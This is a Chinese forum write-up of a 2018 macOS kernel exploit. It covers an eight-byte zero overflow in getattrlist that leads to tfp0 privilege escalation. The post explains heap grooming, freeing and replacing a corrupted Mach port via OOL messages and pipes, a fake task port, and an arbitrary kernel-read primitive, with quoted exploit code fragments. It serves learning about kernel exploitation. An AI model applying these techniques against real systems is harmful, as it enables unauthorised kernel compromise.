@Peterpan0927 wrote:
0x00.前言
憋了半天终于憋出来了…这是lan Beer在2018年写的一个Poc,利用的方式十分的巧妙,利用了很多巧妙的方式来提供成功率,如创建大量的闲置线程去抢占CPU,从而维护堆空间的稳定,虽然成功率只有50%(lan Beer said on Tiwtter),但是其中对于仅仅溢出8个零字节的方式就达到提权的方式还是非常值得我们去学习的。
0x01.漏洞产生点
漏洞的产生点就在我们没有对于bufferSize的下界进行检查,所以我们可以传递一个很小的
buffer
/* * Allocate a target buffer for attribute results. * Note that since we won't ever copy out more than the caller requested, * we never need to allocate more than they offer. */ ab.allocated = ulmin(bufferSize, fixedsize + varsize); if (ab.allocated > ATTR_MAX_BUFFER) { error = ENOMEM; VFS_DEBUG(ctx, vp, "ATTRLIST - ERROR: buffer size too large (%d limit %d)", ab.allocated, ATTR_MAX_BUFFER); goto out; } MALLOC(ab.base, char *, ab.allocated, M_TEMP, M_ZERO | M_WAITOK);
但是溢出的数据是并不受我们控制的,至于为什么,我们来看一下函数原型就知道了:
static int getattrlist_internal(vnode_t vp, struct getattrlist_args *uap, proc_t p, vfs_context_t ctx) { ... ... ... if (al.volattr) { if (al.fileattr || al.dirattr || al.forkattr) { error = EINVAL; VFS_DEBUG(ctx, vp, "ATTRLIST - ERROR: mixed volume/file/directory/fork attributes"); goto out; } error = getvolattrlist(vp, uap, &al, ctx, proc_is64); goto out; }
从
if
的判断条件来看,al
的volattr
不为0之后,其他的三个属性如果不是0就会进入错误的分支,所以我们只能溢出8个字节的0
,那么这个偏移是如何计算的呢,重点就在最后的bcopy
函数了:bcopy(&ab.actual, ab.base + sizeof(uint32_t), sizeof(ab.actual));
这个地方我们最多只能溢出八个字节的原因是因为
ab.actual
的大小为0x14
,sizeof(uint32_t)
为4字节,所以最多只会溢出0x14+0x4-0x10=8
个字节的数据,并且建立在buffer在kalloc.16
的区间内。接下来就是如何一步步通过这个溢出来达到提权的过程
0x02.漏洞利用
目前还没有对所有的细节看的非常清楚,但是
lan Beer
做的一连串的操作已经让我目瞪口呆了,我就从宏观上来说一下大概做了什么事情:
lan Beer
采用的是tfp0的方式来实现任意地址读写,这意味着我们需要拿到一个拥有内核权限的端口,他尝试在内存空间分配了一连串的连续页面,形如下面的样子:kalloc.16 | ipc_ports | kalloc.16 | ipc_ports …
这个时候我们在
kalloc.16
的那个页面上想要尝试做溢出,但是如果我们溢出到了freelist
只会导致内核panic
,那么怎样才能将我们溢出的8个字节控制到页面的边界,从而覆盖ipc ports
的那个页面呢?这里我们可以发现
free list
其实采取的是一种半随机化的分配方式:| 9 8 6 5 2 1 3 4 7 10 | <-- example “randomized” allocation order from a fresh all-free page
也就是说我们通过将页面里面的所有
kalloc.16
全部释放之后,free list
就会reverse
,那么重新申请的kalloc.16
就是从free list
的两边往中间扩散,如果重新申请kalloc.16
的在页面的最右边,然后我们触发漏洞,就能将ipc port
页面的前八个字节给覆盖成0,这个就是我们的目的:| 1 4 - - - - - 5 3 2 | | 2 5 - - - - - 4 3 1 | kalloc.16 ipc_ports
在反向的
freelist
中,如果我们从边界开始做溢出的话,很可能就会溢出到-
,也就是free list
中,所以我们会先剪去一个值,比如说我们从3
开始做溢出,在溢出之后再申请一个内存占位,这样循环只会溢出到kalloc 16 chunk
,或者到ipc ports
,也就是我们希望达到的效果。这样一来就保证了我们的漏洞触发并不会崩溃,并且最后一定会溢出到一个ipc port
,这里会出现问题的地方就是如果页面中间的内存没有分配,触发漏洞就会panic
,就算我们剪去一个数也是没有办法百分百保证一定会成功的。接下来就是把这个被覆盖的
port
给找出来,因为ip_object->ip_object->io_bits
被覆盖为NULL,ip_active(port)
就会为false
,那么调用mach_port_kobject
就会返回KERN_INVALID_RIGHT
,根据这个特征我们就可以拿到目标端口的port name
了:err = mach_port_kobject(mach_task_self(), candidate_port, &typep, &addr); if (err != KERN_SUCCESS) { printf("found the port! %x\n", candidate_port); target_port = candidate_port; break; } } // Stop searching. We found the corrupted port. if (target_port != MACH_PORT_NULL) { break; }
这中间其实
lan Beer
还做了很多操作去提升成功率,比如为ipc_kmsg
的trailer
构造free list
来降低干扰等,感兴趣的可以去具体看一下lan Beer
的poc,我这里就不多说了。接下来我们拿到这个被覆盖了前八个字节的端口之后,接下来我们要将它释放掉,方便我们之后去重新布置上面的数据,但是由于它的状态并不是
active
的,所以我们需要寻找一种方式找到一个函数减少它的reference
,并且这个函数不会做其他多余的事情,比如说仅仅返回一个状态码。经过寻找之后可以定位到
mach_port_set_attributes
这个函数上:ip_reference(port); ip_unlock(port); ... ... // 因为"ipc_port->ipc_object->io_bits" 为 NULL, "ip_active(port)" 就是 false ,代码运行到else部分 if (ip_active(port) && (port->ip_requests == otable) && ((otable == IPR_NULL) || (otable->ipr_size+1 == its))) { ... ... ... } else { ip_unlock(port); // 这里减少了引用,这里的引用数就变成了0,如果继续深挖下去,最后会被"io_free"这个函数释放掉 ip_release(port); it_requests_free(its, ntable); } //"ip_active(port) == false"并不是一个错误的情况,所以我们的返回值还会是KERN_SUCCESS return KERN_SUCCESS; }
端口被释放之后我们在页面中间找一个端口作为我们的
canary port
,接下来的目标就是用这个canary port
来覆盖target port
的ip_context
字段,我们的做法是触发系统的GC(这是一个很精髓的堆空间操作),然后把一个充满我们布置数据的页面来替换target port
的那个页面。如果上一步成功了的话,那么我们应该可以用
mach_port_get_context
来返回canary port
的地址:kern_return_t mach_port_get_context( ipc_space_t space, mach_port_name_t name, mach_vm_address_t *context) { ipc_port_t port; kern_return_t kr; if (space == IS_NULL) return KERN_INVALID_TASK; if (!MACH_PORT_VALID(name)) return KERN_INVALID_RIGHT; kr = ipc_port_translate_receive(space, name, &port); if (kr != KERN_SUCCESS) return kr; //流程进入else if (port->ip_strict_guard) *context = 0; else //ipc_port->ip_context的值将会被直接返回给用户空间 *context = port->ip_context; ip_unlock(port); //这里并没有其他的安全性校验,直接返回了 return KERN_SUCCESS; }
这里虽然我们用来覆盖的
canary port
只是一个port name
,但是我们是通过OOL message
发送到内核的,所以这个地址会自动被转换为canary port
的ipc port
的真实地址。最后我们通过这个函数就可以在用户空间去拿到
canary port
的ipc port
的地址了,剩下操作就比较显而易见了,如果我们有了一个受我们掌控的port
。因为之前占住
target port
的是ool message
,我们再接受消息回来,空间被释放掉了,接下来申请一串pipe
,来占住那个页面,而在这些pipe
上布置的是我们布置好的fake port
,其中fake task
的地址指向的是离canary port
那个页面0x10000
(取决于内核页面大小)的页面,地址暂记为pipe_target_kaddr
:此时我们可以做一个小测试来看看
target port
是否被布置好的pipe buffer
给替换了:err = pid_for_task(target_port, &val); if (err != KERN_SUCCESS) { printf("pid_for_task returned %x (%s)\n", err, mach_error_string(err)); } //如果返回0x80000002就说明我们覆盖成功了 printf("read val via pid_for_task: %08x\n", val);
接下来我们想要找到创建出来的那一连串
pipe
中的pipe_target_kaddr
对应的pipe
的r/w
接口是哪一个,从而控制fake task
中的数据,所以我们可以写一个循环来找:for (int i = 0; i < next_pipe_index; i++) { if (i == replacer_pipe_index) { continue; } read(read_ends[i], old_contents, 0xfff); // 我们把想要找到的那个pipe读的值给修改一下,偏移+4 build_fake_task_port(new_contents, pipe_target_kaddr, pipe_target_kaddr+4, 0, 0, 0); write(write_ends[i], new_contents, 0xfff); uint32_t val = 0; err = pid_for_task(target_port, &val); if (err != KERN_SUCCESS) { printf("pid_for_task returned %x (%s)\n", err, mach_error_string(err)); } printf("read val via pid_for_task: %08x\n", val); //如果此时的返回值为0xf00d,说明我们成功的找到了那个pipe buffer的地址 if (val != 0x80000002) { printf("replacer fd index %d is at the pipe_target_kaddr\n", i); pipe_target_kaddr_replacer_index = i; break; } }
拿到地址后,我们就可以准备任意地址读了:
prepare_early_read_primitive(target_port, read_ends[pipe_target_kaddr_replacer_index], write_ends[pipe_target_kaddr_replacer_index], pipe_target_kaddr); void prepare_early_read_primitive(mach_port_t target_port, int read_fd, int write_fd, uint64_t known_kaddr) { early_read_port = target_port; // 通过这两个管道,我们就可以完全控制target port的fake task的值来进行任意地址读 early_read_read_fd = read_fd; early_read_write_fd = write_fd; // 这个就决定了我们的fake task地址 early_read_known_kaddr = known_kaddr; }
下面我们就该
canary port
出场了,因为我们知道canary port
的内核地址,所以如果我们向这个端口发送消息,消息的local port
设置为mach_host_self()
,那么这就意味着可以通过ipc_port.ip_messages.messages->messages[0]
先找到kmsg
然后再通过kmsg->ikm_header->msgh_local_port
找到我们的host port
的ipc port
地址!接下来我们也将通过同样的方式来找到我们的task port
地址。通过位运算定位到
host port
的页面开头,然后从页面的开头开始找kernel task port
,然后就可以通过tfp0
的方式达到提权,lan Beer
的整个流程分析就到此结束了,但是其中还有一些细节没有完全的解释清楚,有兴趣的可以看一下他的poc
,和我探讨一下。0x03.参考链接
MacOSX Internals
Posts: 1
Participants: 1